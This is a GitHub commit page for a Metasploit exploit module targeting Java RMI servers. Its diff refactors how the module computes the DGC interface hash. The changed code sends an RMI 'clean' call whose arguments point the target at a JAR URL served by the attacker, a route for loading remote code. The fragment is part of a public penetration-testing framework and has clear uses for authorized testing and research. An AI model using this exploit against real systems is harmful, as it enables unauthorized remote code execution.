Skip to content

Commit 02a5730

Browse files
committed
Use calculate_interface_hash
1 parent f954ff7 commit 02a5730

File tree

1 file changed

+19
-2
lines changed

1 file changed

+19
-2
lines changed

modules/exploits/multi/misc/java_rmi_server.rb

Lines changed: 19 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -126,14 +126,31 @@ def primer
126126
new_url = get_uri + '/' + jar
127127

128128
print_status("#{peer} - Sending RMI Call...")
129-
#send_call(call_data: build_gc_call_data(new_url))
129+
dgc_interface_hash = calculate_interface_hash(
130+
[
131+
{
132+
name: 'clean',
133+
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
134+
exceptions: ['java.rmi.RemoteException']
135+
},
136+
{
137+
name: 'dirty',
138+
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
139+
exceptions: ['java.rmi.RemoteException']
140+
}
141+
]
142+
)
143+
144+
# JDK 1.1 stub protocol
145+
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
146+
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
130147
send_call(
131148
object_number: 2,
132149
uid_number: 0,
133150
uid_time: 0,
134151
uid_count: 0,
135152
operation: 0,
136-
hash: 0xf6b6898d8bf28643, #dgc_interface_hash
153+
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
137154
arguments: build_dgc_clean_args(new_url)
138155
)
139156

0 commit comments

Comments
 (0)